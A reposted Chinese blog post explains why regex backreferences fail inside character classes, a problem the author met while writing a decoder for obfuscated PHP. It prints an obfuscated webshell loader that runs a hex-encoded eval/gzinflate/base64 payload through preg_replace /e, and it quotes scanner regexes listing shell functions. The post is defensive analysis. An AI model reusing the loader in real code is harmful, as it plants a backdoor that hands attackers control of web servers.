

为什么不能在字符组中使用反向引用
source link: https://www.cnxct.com/why-can-not-used-backreferences-within-character-class/
Go to the source link to view the article. You can view the picture content, updated content and better typesetting reading experience. If the link is broken, please click the button below to view the snapshot at that time.

有个网友,发一封邮件给我,让我帮看下一段“加密”字符串的解密问题,在线解密的解密不了。代码大约如下:
if
(isset(
$_GET
[
'cnxct'
]))
{
$auth_pass
=
'cfc4n'
;
$color
=
'#df5'
;
$default_action
=
'FilesMan'
;
$default_use_ajax
= true;
$default_charset
=
'Windows-1251'
;
preg_replace(
'/.*/e'
,
'\x65\x76\x61\x6C\x28\x67\x7A\x69\x6E\x66\x6C\x61\x74\x65\x28\x62\x61\x73\x65\x36\x34\x5F\x64\x65\x63\x6F\x64\x65\x28'
7X1re9s2z/Dn9VcwmjfZq+PYTtu7s2MnaQ5t2jTpcugp6ePJsmxrkS1PkuNkWf77C4CkREqy43S738N1vbufp7FIEARJkARBAHT7xRVnNIlui4XO6d7Jx72TC/PN2dmHzjl8dbZf7x2dmd9KJXbHCtPQCbYHzjgKWYtZQWDdFo3Xvj/wHKPMjFNvGkzwx/vTo1d+hL9cq2MF9tC9dgL8/GKNe84N/jqxRl0PEktN5vaLk8AZdEZWZA+L5prJKswdTTy/5xTNv82yWm0J8sw1FxMfoHXoWD0nKFLuWq1SZc+qz9iRH7F9fzrumVCvc+NGTXYP/9tyx24ndKKi6QSBH3Q8f2CWj84PDwEqyYPUDuWHZrmq5Yysm45z49jTyPXHncgdOQICcumz47kjNyrGaSNr4NqdP6d+5ISdYDpGGJ7bc/ruGNr96fS4A607PTg+gsaa9cpzk3fVIF18MLGL1OL+dGwjAQzKhlHgTkLPCodOWCzQSCFI4ETTYMzcsMMHT+Zs8sEExBOqWi2OfS3AGiwPL/ZhofPh+PQMmCJTN2UATKGzc3z87mAvF4ZnEaa4FbPQP/QH7riIhPdcp2hsAJswy3MH45YNzOAE7Y2+H4zYyImGfq818cOo/cEKw5kf9Bpswx1PphGLbidOayJS2dga8a+2mh1OuzA87Nrypk7LbLfN9sYaYoY/UGXb0AlD8p3I9v0rIKpwBd1zTZNDtOKicPUNGlm4brIMGOJxk+lmTaNhB6mh8YMMN0R+4n12YWIOcDP7+WdWHPWeZ9JbUIuKQiOMF9DmyBsoDeXKainkKVZckRWLJswvDNX+/TdbCpKtpOhLRlT0A3BB5Hv+DOYpDAF8FT+8+dA5Pi1Xy+slap8xc8dGiRV8XHBM+DBh3nqhI1PG7g2kFEKr73RGsGBAGk3LAU7LOFVMnZUErsT4TA+ciR9E7nhAs6/Qc0MLlqWOHOtQw5fJwA=
'\x29\x29\x29\x3B'
,
'.'
);
exit
();
}
看到代码后,不禁惊讶起来,现在坏人们的想法真猥琐。利用preg_replace函数的e修饰符(e修饰符在php5.5里,被取消了),来执行第二个参数里的内容,而第二个参数里的内容,不是常规的函数组成的字符串,其函数名都是ASCII码十六进制形式。从而避开了基于字符串形式正则匹配的“简易木马扫描器”的扫描。2010年时的在线解密功能,只支持eval gzinflate base64_decode三个函数的任意组合形式的字符串解密,且格式很严格,必须以<?php开头,以?>结尾,不支持嵌套解密。到了2012年,发现有好多网友在陆续使用,并反馈给我。我再次做了改进,支持嵌套解密,编码转换等功能。这次,看到这个加密方式,索性直接写一个支持任意以eval函数执行的合法php字符串解密,且支持同一份代码的多次出现、循环嵌套解密,格式也不用那么严格,只要被解密部分是合法的php代码即可,其他地方,可以有任意字符串,提高易用程度。
方向定了,实现起来,也应该没什么难度,目的也是基于字符串处理,正则匹配php语法函数,提取加密部分,解密,替换到原文本中。所有的难点,就是正则匹配php语法了。我在匹配eval(base64_decode(‘xxxxxxx’))遇到了一个问题。因为不能确定代码使用的是单引号还是双引号,故我打算捕获分组,再反向引用一下,那正则表达式就是([‘”]).+?\1,正则捕获的第一个分组里的内容会是‘,那么\1的反向引用将是‘,看上去,匹配完成了,但会产生大量回溯,回溯次数取决于中间字符串长度。
作为性能洁癖的码农,不能接受正则里出现大量无用的回溯,决定使用字符组的脱字符^来对字符取非匹配。那么,表达式就是
([
''
])[^\1]+\1
regexbuddy的测试结果却是这样:
如图,调试信息中所示,绿色线条画出的部分,都是正常正确的匹配,表达式([‘”])匹配字符串‘,并且分配到group 1中;表达式最后的\1反向引用,也匹配到了‘,这个可以在debug截图中得到确认。但红色部分,让我产生了疑惑,表达式[^\1]为何匹配到了字符串1230””’cfc4n(解释一下:+为量词,先匹配,再将转动权交给表达式后的‘,再去匹配,其发现后面没有字符,那么再回溯到前一位。。一直到匹配到字符‘),匹配到字符串1230跟cfc4n倒是正常,但group 1就是‘,[^\1]匹配到””’实在不能理解。暂时改用其他办法实现,比如([‘”]).*\1,但性能差,且不精确。或者用环视lookaround(也叫零宽断言)解决([\'”])(?:(?!\1).)+\1。对于这个问题,我困惑很久,在stackoverflow上找到一个相似的案例General approach for (equivalent of) “backreferences within character class”?问题也是跟我类似的问题,解决方案,也是用环视解决,其实,环视的效率,比非贪婪的方式还多一个回溯。但回答者只是给了解决方案,也没说出真正的原因。然后,又看到了另一个相似案例Negating a backreference in Regular Expressions,解决方案也是一样,正则环视解决,回答中,还说了原理:
Instead of a negated character class, you have to use a negative lookahead:
\bvalue\s*=\s*([“‘])(?:(?!\1).)*\1
(?:(?!\1).)* consumes one character at a time, after the lookahead has confirmed that the character is not whatever was matched by the capturing group, ([“”]). A character class, negated or not, can only match one character at a time. As far as the regex engine knows, \1 could represent any number of characters, and there’s no way to convince it that \1 will only contain ” or ‘ in this case. So you have to go with the more general (and less readable) solution.
但这个原理说的是环视匹配的原理,并没有说“为什么字符组中反向引用匹配的字符串不正确”的真正原因。对于我的好奇心,显然不能轻易放过这个疑问,继续google中搜索,终于在regexbuddy的另一个官网找到了介绍:Parentheses and Backreferences Cannot Be Used Inside Character Classes,刚打开这个页面时,被配色、布局震惊了一下,这跟regexbuddy官网出奇的相似,仔细看了下,才发现这也是他们的网站之一。这里给出了说明:
Round brackets cannot be used inside character classes, at least not as metacharacters. When you put a round bracket in a character class, it is treated as a literal character. So the regex [(a)b] matches a, b, ( and ).
Backreferences also cannot be used inside a character class. The \1 in regex like (a)[\1b] will be interpreted as an octal escape in most regex flavors. So this regex will match an a followed by either \x01 or a b.
这里提到,正则表达式中,不能在字符组中使用反向引用,原因是正则表达式的\1在字符组中[\1],在大多数的正则流派中,会被正则引擎作为八进制转义,实际上的匹配结果将变成\x01。知道这个原因之后,就很好理解为什么之前的表达式[^\1]匹配到‘ ‘ ‘ ‘ ‘了。因为,这里的取非,是对字符\x01的取非,而不是对字符‘的取非,我之前还天真的以为,取非的字符串是‘呢。
除了不能在字符组中使用反向引用,还不能使用捕获分组,这里也提到了,正则表达式的元字符括号()在字符组中将被理解为普通的字符(),也就是说,在字符组character class中,不用再转义了,即[()]是合法的表达式,且可以匹配到(或者)。比如文章中给的例子:表达式[(a)b]匹配结果并不是a或者b,如果a匹配到,再将a分配到group 1中,而是可以匹配到a或b或(或)四个字符。所以,在字符组中使用反向引用,是不能实现的了。如图:
最后,解密的程序也写好了,支持eval base64_decode preg_replace gzinflate等各种函数的在线,目前除了自定义函数、字符串不支持解密以外,其他均支持,只要用eval函数执行的代码。跟http://ddecode.com/phpdecoder/相比,我的解密程序不支持变量函数、变量字符串解密,这是缺点。同时,优点是支持一段代码多个eval函数解密,且替换还原到原文。而phpdecoder中,只会保留最后解密的那个eval内代码解密情况,其他的都没了。
其实,基于字符串匹配的解密方式,都肯定存在不严谨、不正确的解密行为,最准确的,莫过于写一个php拓展,劫持eval函数,并且执行被解密代码,使用加密代码内原有变量,来实现最准确,严谨的解密。
PS:如果你对这里的正则表达式的术语有疑惑,请阅读这个PPT《正则表达式》PPT-匹配原理
PPS:后来,无意中看到360网站安全检测的后门查杀代码里的正则的写法
class
scan{
private
$directory
=
'.'
;
private
$extension
=
array
(
'php'
);
private
$_files
=
array
();
private
$filelimit
= 5000;
private
$scan_hidden
= true;
private
$_self
=
''
;
private
$_regex
=
'(preg_replace.*\/e|`.*?\$.*?`|\bcreate_function\b|\bpassthru\b|\bshell_exec\b|\bexec\b|\bbase64_decode\b|\bedoced_46esab\b|\beval\b|\bsystem\b|\bproc_open\b|\bpopen\b|\bcurl_exec\b|\bcurl_multi_exec\b|\bparse_ini_file\b|\bshow_source\b|cmd\.exe|KAdot@ngs\.ru|小组专用大马|提权|木马|PHP\s?反弹|shell\s?加强版|WScript\.shell|PHP\s?Shell|Eval\sPHP\sCode|Udp1-fsockopen|xxddos|Send\sFlow|fsockopen\('
(udp|tcp)|SYN\sFlood)';
private
$_shellcode
=
''
;
private
$_shellcode_line
=
array
();
private
$_log_array
=
array
();
private
$_log_count
=0;
private
$webscan_url
=
'http://safe.webscan.360.cn/webshell/upload'
;
private
$action
=
''
;
private
$taskid
=0;
private
$_tmp
=
''
;
....
/**
* 2013/09/14 更新 听Rozero提到了PHP-Shell-Detector,我去看了下源码,一看不要紧,立马发现了我的一个错误,我错怪360了
* https://github.com/emposha/PHP-Shell-Detector/blob/master/shelldetect.php 大约121行
*/
//system: version of shell detector
private
$_version
=
'1.65'
;
//system: regex for detect Suspicious behavior
private
$_regex
=
'%(preg_replace.*\/e|`.*?\$.*?`|\bcreate_function\b|\bpassthru\b|\bshell_exec\b|\bexec\b|\bbase64_decode\b|\bedoced_46esab\b|\beval\b|\bsystem\b|\bproc_open\b|\bpopen\b|\bcurl_exec\b|\bcurl_multi_exec\b|\bparse_ini_file\b|\bshow_source\b)%'
;
//就是这里,这里的正则跟360的前半部分一样。不知道是不是可以认为360借鉴了这个开源项目。
//这块正则是开源项目写的,不是360写的。从cmd.exe开始后面的中文才是360写的。我错怪360了,不该说360产品的这块正则写的渣,我错了,我道歉。
//system: public key to encrypt file content
private
$_public_key
=
'LS0tLS1CRUdJTiBQVUJMSUMgS0VZLS0tLS0NCk1JR2ZNQTBHQ1NxR1NJYjNEUUVCQVFVQUE0R05BRENCaVFLQmdRRDZCNWZaY2NRN2dROS93TitsWWdONUViVU4NClNwK0ZaWjcyR0QvemFrNEtDWkZISEwzOHBYaS96bVFBU1hNNHZEQXJjYllTMUpodERSeTFGVGhNb2dOdzVKck8NClA1VGprL2xDcklJUzVONWVhYUQvK1NLRnFYWXJ4bWpMVVhmb3JIZ25rYUIxQzh4dFdHQXJZWWZWN2lCVm1mRGMNCnJXY3hnbGNXQzEwU241ZDRhd0lEQVFBQg0KLS0tLS1FTkQgUFVCTElDIEtFWS0tLS0tDQo='
;
实在说不过去,作为国内一线安全厂商,这正则准确性、严谨性、误报、性能都有较大提升空间,忍不住的唱起“放只乌龟到处爬,放只螃蟹有点Zha,有点Zha”…如果他们不嫌弃的话,可以参考下《如何精确查找PHP WEBSHELL木马?》里的python版的webshell检测的正则,三年前的了,可能有很多东西已经变了。
2013/09/14更新:
我自己开发了一个项目,PHP版本的webshell扫描,基于语法分析的,名字叫 Pecker Scanner,欢迎使用。
莿鸟栖草堂 由 CFC4N 创作,采用 知识共享 署名-非商业性使用-相同方式共享(3.0未本地化版本)许可协议进行许可。基于http://www.cnxct.com上的作品创作。转载请注明转自:为什么不能在字符组中使用反向引用
No related posts.
Recommend
About Joyk
Aggregate valuable and interesting links.
Joyk means Joy of geeK